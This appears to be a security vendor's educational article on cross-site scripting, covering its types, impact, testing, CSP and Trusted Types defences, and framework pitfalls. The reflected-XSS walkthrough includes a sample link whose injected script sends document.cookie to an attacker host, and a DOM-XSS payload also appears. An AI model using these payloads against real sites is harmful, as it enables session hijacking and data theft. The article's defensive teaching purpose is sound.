What Is Cross-Site Scripting (XSS)? Types & Prevention

Cross-site scripting (XSS) lets attackers run malicious JavaScript inside a trusted website. See stored, reflected, DOM, and blind XSS examples and fixes.
تم كتابته بواسطة
تم النشر في
Tuesday, September 29, 2026
تم التحديث بتاريخ
September 29, 2026

‍What Is Cross-Site Scripting (XSS)? Types, Examples, and Prevention

Cross-site scripting (XSS) is a web vulnerability that allows an attacker to inject malicious JavaScript into a trusted website, causing it to execute in another user’s browser. Because the browser treats the injected script as part of the legitimate application, it can access page data, interact with the user’s session, and modify content displayed to the victim.

In a 2023 disclosure, CloudSEK researchers showed how an XSS flaw in Appsmith turned a single dashboard link into a full admin account takeover. A script planted in the srcDoc field of an iframe widget ran when an administrator opened a published dashboard, pulled database credentials from an admin-only endpoint, and fed them into a server-side request forgery bug. More than 1,000 Appsmith instances were exposed on the internet at the time, and versions 1.7.12 and later carry the fix.

How a Cross-Site Scripting Attack Works in the Browser

Browsers use the same-origin policy to prevent code from one origin from freely accessing data belonging to another. XSS does not bypass this policy directly. Instead, the malicious script is delivered through the trusted application and executes under that application’s origin, giving it the same browser-level access as legitimate client-side code.

xss attack execution flow

An XSS vulnerability typically involves two elements: a source, where attacker-controlled input enters the application, and a sink, where that input is inserted into a context that allows it to execute as code.

Common sources include URL parameters, form inputs, HTTP headers, stored user content, and postMessage data. Common sinks include unsafe HTML rendering, innerHTML, document.write(), eval(), and inline event handlers such as onerror.

The vulnerability occurs when untrusted input reaches an executable sink without appropriate validation, sanitization, or context-aware output encoding.

Reflected XSS Attack Example, Step by Step

Consider a shop whose search page prints the query back to the user with this server code:

echo "<p>Results for " . $_GET['q'] . "</p>";

From there, an attacker builds a link that places a script tag inside the q parameter of that search page:

https://shop.example.com/search?q=<script>fetch('https://attacker.example/c?d='+document.cookie)</script>

  1. The attacker sends the crafted link through an email, a chat message, or a malicious ad.
  2. The victim, already signed in to the shop, clicks the link, and the browser sends the request with the session cookie attached.
  3. The server copies the q value into the HTML response without encoding it.
  4. The browser parses the response, finds a script tag, and runs it as part of shop.example.com.
  5. The script sends any readable cookies, page content, or anti-CSRF tokens to the attacker's server, or performs actions in the victim's account.

Setting the HttpOnly flag on a session cookie prevents JavaScript from reading that cookie, but it does not stop an XSS attack. The malicious script still executes within the victim’s authenticated session and can perform actions on their behalf, such as submitting forms, changing account settings, or sending requests to internal APIs from the victim’s browser.

What Are the Types of XSS Attacks?

XSS variants differ in where the payload is stored, which code writes it into the page, and whether the attacker ever sees it run. Stored, reflected, and DOM-based XSS are the three classic categories, while blind, mutation, and self-XSS describe delivery and parsing twists on top of them.

types-of-xss

1. Stored XSS (Persistent XSS)

Stored XSS occurs when an application saves attacker input, such as a comment, profile field, support ticket, email, or uploaded file, and later serves it to other users without encoding. Every visitor who loads the affected page runs the script, with no link or lure required.

Webmail platforms attract stored XSS attacks because a single malicious message reaches the victim inside an authenticated session. In February 2026, CISA added Roundcube's CVE-2025-68461, a stored XSS delivered through the animate tag in an SVG document, to its Known Exploited Vulnerabilities catalog after evidence of active exploitation, as The Hacker News reported. Roundcube had patched the flaw in December 2025.

2. Reflected XSS

Reflected XSS happens when the server copies input from the current request, such as a query parameter, form field, or error message, straight into its response. The payload is never saved, so the attacker needs the victim to open a crafted link, and phishing emails, shortened URLs, and malicious ads serve as the delivery channel.

3. DOM-Based XSS

DOM-based XSS lives entirely in client-side JavaScript: the page reads attacker-controlled data from a source such as location.hash, document.referrer, localStorage, or a postMessage event, then passes it to a dangerous sink like innerHTML, insertAdjacentHTML(), eval(), or setTimeout() with a string argument. A typical vulnerable line looks like this:

document.getElementById('welcome').innerHTML = 'Hi ' + decodeURIComponent(location.hash.slice(1));

Any link to that page ending in #<img src=x onerror=alert(document.domain)> fires the payload as soon as the page loads. Server logs and server-side filters miss fragment-based DOM XSS entirely, because the part of a URL after the # character never reaches the server.

4. Blind XSS

Blind XSS is a stored payload that executes in a part of the application the attacker cannot see, such as an admin dashboard, a support agent's ticket view, or an internal log viewer. Attackers plant it in contact forms, User-Agent headers, or order notes and wait for staff to open the record. Because staff accounts hold elevated privileges, a blind XSS that fires in an admin panel hands the attacker admin-level access.

5. Mutation XSS (mXSS)

Mutation XSS abuses the gap between how an HTML sanitizer parses markup and how the browser parses it again after insertion. A string that looks harmless to the sanitizer changes shape when the browser serializes and re-parses it, for example through nested <noscript>, <svg>, or <math> elements, and a script-bearing attribute appears in the final DOM. Sanitizer libraries such as DOMPurify have shipped fixes for several mXSS bypasses over the years, so an outdated sanitizer version is a live exposure.

6. Self-XSS

Self-XSS requires the victim to run the payload personally, for example by pasting code into the browser developer console after a scammer promises a free feature or an account unlock. The attack depends entirely on social engineering. Most bug bounty programs rate self-XSS as low severity on its own, though chaining it with a login CSRF or cache poisoning bug extends its reach to other users.

What Can Attackers Do With an XSS Vulnerability?

An XSS payload runs with the same permissions as the application's own JavaScript, so its impact matches whatever the victim's account and the page itself can reach.

  • Session and token theft: Scripts read any cookie without the HttpOnly flag and any token stored in localStorage or sessionStorage, then replay it to hijack the session, a close relative of cookie logging.
  • Actions as the victim: A same-origin script fetches a fresh anti-CSRF token and submits authenticated requests, such as changing the account email, registering an attacker's MFA device, or moving funds. This path leads to full account takeover even when cookies are HttpOnly.
  • Credential harvesting: A fake login overlay or password-reset prompt injected into the real domain passes every URL check a cautious user makes, and the harvested passwords feed later credential stuffing runs.
  • Keylogging and page manipulation: Event listeners capture keystrokes in login and payment fields, and DOM changes swap bank account numbers, download links, or displayed balances.
  • Payment card skimming: A script injected into a checkout page copies card numbers as customers type them and sends the data to an attacker-controlled domain.
  • Server compromise through admin sessions: XSS that fires in a CMS administrator's browser installs a plugin or edits a theme file, turning a browser bug into remote code execution on the server.
  • Self-propagating worms: Stored XSS on a social platform copies itself into every profile that views it, which is how the 2005 Samy worm spread across MySpace.

Why XSS Remains the Most Common Web Vulnerability

Cross-site scripting ranked first in MITRE's 2025 CWE Top 25 as CWE-79, with a score of 60.38 and seven of its CVEs listed in CISA's Known Exploited Vulnerabilities catalog. CloudSEK's guide to the most dangerous software weaknesses compares XSS with the injection and memory-safety flaws on the same list.

Microsoft's Security Response Center has mitigated more than 970 XSS cases since January 2024, and XSS made up 15% of all Important or Critical MSRC cases between July 2024 and July 2025, according to MSRC's XSS analysis. The same report puts Microsoft's XSS bounty payouts at $912,300, with a top single award of $20,000 for high-impact cases such as token theft or zero-click attacks.

Development teams that know about XSS still ship it, and the reasons are structural more than educational:

  • Multiple output contexts: One value lands in HTML text, an attribute, a JavaScript string, a URL, and CSS on the same page, and each context needs different encoding.
  • Features that need HTML: Comment editors, Markdown renderers, email clients, and CMS widgets deliberately accept markup, which pushes teams toward sanitizers that are hard to configure correctly.
  • Framework escape hatches: dangerouslySetInnerHTML, v-html, and Angular's bypassSecurityTrustHtml() exist for legitimate use cases and reintroduce raw HTML sinks.
  • Legacy and third-party code: Old templates, abandoned plugins, and embedded third-party widgets sit outside modern framework protections and rarely get retested.
  • Uploads served inline: SVG, HTML, and XML files uploaded by users execute embedded script when the application serves them from its own origin.

How to Test for XSS Vulnerabilities

Effective XSS testing traces each source to each sink and checks whether the output context changes how the browser interprets the data.

Manual XSS Testing With Canary Strings

Manual testers start by placing a unique, harmless marker such as xss7q3 in every input, then search both the raw response and the live DOM for where it appears. The surrounding context decides the next probe: inside HTML text, a tag like <b> confirms injection; inside an attribute, a quote character tests whether the value breaks out, and inside a JavaScript string, a closing quote and semicolon do the same. Proxy tools such as Burp Suite and OWASP ZAP make it faster to intercept, modify, and replay each request.

Classic alert() proof-of-concept payloads need adjusting in modern browsers, because Chrome 92 and later block alert() calls from cross-origin iframes. Calling print() or writing to the console works as a substitute.

Automated DAST Scanning for XSS

A dynamic web app scanner crawls the running application and fires encoded payload variations at every parameter, header, and form it discovers. DAST tools catch most reflected and stored XSS within reach of the crawl, but they miss flows behind multi-step business logic and struggle with DOM XSS in large single-page applications.

Static Analysis and Sink Review

Static application security testing (SAST) tools follow tainted data from request handlers to template output and flag paths that skip encoding. A fast manual complement is a codebase search for high-risk sinks: innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, new Function, dangerouslySetInnerHTML, v-html, and any template output marked raw or safe.

Out-of-Band Payloads for Blind XSS

Blind XSS needs a payload that reports back, because nobody on the testing side sees the admin screen where it fires. Testers use payloads that load a script from a callback server and return the page URL, a DOM snapshot, and the cookies of whoever triggered it, which confirms the flaw and shows how far it reaches.

How to Prevent Cross-Site Scripting Attacks

XSS prevention works in layers: encode or sanitize output so injected data never becomes code, use safe DOM APIs on the client, and deploy browser policies that block execution when a mistake slips through.

cross site scripting prevention controls

Encode Output for Its Exact Context

Output encoding converts characters that carry meaning in a given context into harmless equivalents, so <script> renders as text instead of a tag. The correct encoding depends on where the value lands, and HTML encoding applied inside a JavaScript string or a URL leaves the page exploitable.

Output context

Example location

Required handling

HTML body

<p>{value}</p>

HTML entity encoding of &, <, >, ", and '

HTML attribute

<input value="{value}">

Attribute encoding, with the attribute value always quoted

JavaScript data

<script>let q = "{value}"</script>

JSON serialization with < escaped, or a data- attribute read by script

URL parameter

<a href="/search?q={value}">

Percent-encoding with encodeURIComponent()

Full URL in href or src

<a href="{value}">

Scheme allowlist of https: and relative paths; reject javascript: and data:

CSS

style="color: {value}"

No user data in CSS, or a strict value allowlist such as hex colors

‍

Template engines such as Jinja2, Twig, Razor, and Go's html/template encode HTML body text by default. XSS in these stacks comes from bypassing the default through a |safe filter or raw output helper, or from placing a value in a JavaScript or URL context the engine does not recognize.

Sanitize HTML That Must Stay HTML

Features that must accept markup, such as a rich-text comment box or a Markdown preview, break under encoding, so sanitization takes over. A maintained allowlist sanitizer like DOMPurify strips script-bearing tags and attributes and keeps formatting elements. Run the sanitizer on the final HTML immediately before insertion, keep the library updated to close mutation XSS bypasses, and avoid hand-written regex filters, which attackers bypass with alternate syntax.

Use Safe DOM APIs in Client-Side Code

Client-side code prevents DOM XSS by choosing APIs that treat data as text: textContent instead of innerHTML, createElement() with setAttribute() for safe attributes, and JSON.parse() in place of eval(). Timers take function references, never strings. Any URL taken from location or a message event needs its scheme checked before it reaches href, src, or window.location, and every postMessage handler must verify event.origin before using the data.

Deploy a Strict Content Security Policy

A Content Security Policy (CSP) tells the browser which scripts are allowed to run, which limits the damage when encoding fails somewhere. Allowlist-based policies are easy to bypass through permitted CDNs and JSONP endpoints, so current guidance favors a strict policy built on nonces or hashes:

Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'none'

Each response generates a fresh random nonce, and only script tags carrying that nonce execute, which blocks injected script tags and inline event handlers. Adding 'unsafe-inline' cancels most of the protection. Rolling the policy out first through the Content-Security-Policy-Report-Only header surfaces breakage before enforcement begins.

Enforce Trusted Types for DOM Sinks

Trusted Types, enabled with the CSP directive require-trusted-types-for 'script', makes sinks like innerHTML reject plain strings. Code must pass a typed object created by a reviewed policy, which shrinks DOM XSS review from every sink in the codebase to a handful of policy functions. Chromium-based browsers enforce Trusted Types, and a policy that wraps DOMPurify gives teams a practical starting point.

Harden Session Cookies and Tokens

Session cookies need the HttpOnly, Secure, and SameSite attributes, and access tokens belong in HttpOnly cookies instead of localStorage, where any script on the origin reads them. These settings shrink what a successful payload steals, but they do not stop the payload from acting inside the victim's session, so they complement encoding and CSP without replacing either.

Validate Input as a Secondary Control

Input validation rejects values that break an expected format, such as a ZIP code containing angle brackets or a numeric user ID containing letters. Validation reduces attack surface but cannot prevent XSS alone, because many legitimate fields, such as surnames like O'Brien or free-text comments, must accept characters that are dangerous in some output context. CloudSEK's front-end security best practices cover the wider set of browser-side controls around these defenses.

XSS in React, Angular, and Vue Applications

Modern JavaScript frameworks escape dynamic values by default, which removes the most common XSS pattern but leaves specific escape hatches that developers reach for under deadline pressure.

  • React: JSX escapes every rendered value. XSS returns through dangerouslySetInnerHTML, through href or src values that accept javascript: URLs (older React versions only log a warning), and through server-side rendering that writes serialized state into a script tag without escaping <.
  • Angular: Values bound to [innerHTML] pass through a built-in sanitizer, and unsafe URLs are blocked. Calling DomSanitizer.bypassSecurityTrustHtml() switches that protection off for the value passed in.
  • Vue: Double-curly interpolation escapes output, while the v-html directive inserts raw HTML and needs a sanitizer in front of it.

Framework template syntax adds a second risk, because an attacker who injects HTML into a page running Angular or Vue gains a path to inject template expressions too. CloudSEK's single-page application analysis shows how framework-specific attributes execute script even when a Content Security Policy is in place, so CSP never substitutes for fixing the underlying injection.

XSS vs CSRF vs SQL Injection: What Is the Difference?

XSS vs CSRF

Cross-site request forgery (CSRF) tricks a logged-in user's browser into sending a request from a different site, while XSS runs attacker code inside the target site itself. CSRF fires requests blindly and cannot read the responses. XSS reads responses, extracts anti-CSRF tokens, and chains multi-step actions, so a working XSS bypasses CSRF protections entirely, and anti-CSRF tokens do nothing to stop XSS.

XSS vs SQL Injection

SQL injection targets the server, where attacker input changes a database query and exposes or modifies backend data directly. XSS targets the users of an application through their browsers and leaves the database untouched unless the victim's session has access to it. Both flaws come from mixing untrusted data with code, and both are fixed at the point where data meets an interpreter: parameterized queries for SQL, and context-aware encoding for HTML and JavaScript.

Finding Exposed XSS Across the External Attack Surface

Testing programs cover the applications a security team knows about, and XSS in forgotten assets goes unnoticed: a staging site left online, a campaign microsite built by an agency, or a self-hosted admin tool like the 1,000-plus exposed Appsmith instances CloudSEK identified.

CloudSEK BeVigil fingerprints an organization's internet-facing infrastructure across eight surfaces, covering web applications, mobile apps, APIs, cloud, CVEs, DNS, SSL, and network services, and its web application scanner tests the discovered web assets for cross-site scripting and SQL injection. Because discovery and scanning run continuously, an XSS flaw introduced by a new release or a newly exposed subdomain surfaces as an initial access attack vector before attackers find it, not months later at the next scheduled penetration test.

Cross-Site Scripting (XSS) FAQs

Why is it called cross-site scripting?

Microsoft engineers coined the term in 2000 for attacks in which a malicious site injected script into another site's pages. Modern XSS rarely needs a second site.

Does HTTPS prevent XSS?

No. HTTPS encrypts traffic between the browser and the server, but an XSS payload arrives inside the site's own encrypted response and executes normally.

Can a web application firewall stop XSS?

No, not reliably. A WAF blocks known payload patterns, but encoding tricks, alternate event handlers, and DOM-based XSS that never reaches the server bypass it.

Can XSS install malware on a computer?

No, not directly. XSS runs inside the browser sandbox, but it can redirect victims to exploit kits or fake update pages that deliver malware.

Can XSS happen in mobile apps?

Yes. Mobile apps that render web content in a WebView with JavaScript enabled inherit XSS risk, and JavaScript bridges expose native functions to the injected script.

Can uploaded files cause XSS?

Yes. SVG, HTML, and XML files served from the application's own domain execute embedded scripts. Serving uploads from a separate domain as attachments removes the risk.

Can APIs be vulnerable to XSS?

Yes. An API that returns user data with a text/html content type, or whose JSON output is inserted into pages through innerHTML, creates an XSS path.

What is a polyglot XSS payload?

A polyglot XSS payload is a single string built to execute in several contexts at once, such as HTML text, attributes, and JavaScript strings, which speeds up testing.

Can antivirus software detect XSS attacks?

No. XSS executes as legitimate JavaScript from a trusted domain, so endpoint antivirus sees normal browser activity. Detection happens in the application and its security testing.

Is it legal to test a website for XSS?

No, not without permission. Unauthorized testing breaks computer misuse laws in most countries, and bug bounty programs or signed penetration-testing scopes provide that authorization.

المشاركات ذات الصلة
Malware vs. Virus vs. Worm: How They Spread & Key Differences
Malware is malicious software; viruses replicate inside a host file, and worms spread as standalone programs. Their replication methods determine how infections continue.
12 SaaS Security Threats and How to Mitigate Them
SaaS security threats include stolen credentials, session hijacking, and data loss. Mitigation requires secure sign-ins, limited permissions, and controlled integrations.
Capital One Data Breach (2019): Attack Path, Root Causes, and Cloud Security Lessons
The Capital One breach shows how a misconfigured WAF, AWS credentials, IAM permissions, and S3 access formed an attack path, plus where cloud defenses can stop it today.

ابدأ العرض التوضيحي الخاص بك الآن!

جدولة عرض تجريبي
إصدار تجريبي مجاني لمدة 7 أيام
لا توجد التزامات
قيمة مضمونة بنسبة 100%

مقالات قاعدة المعارف ذات الصلة

لم يتم العثور على أية عناصر.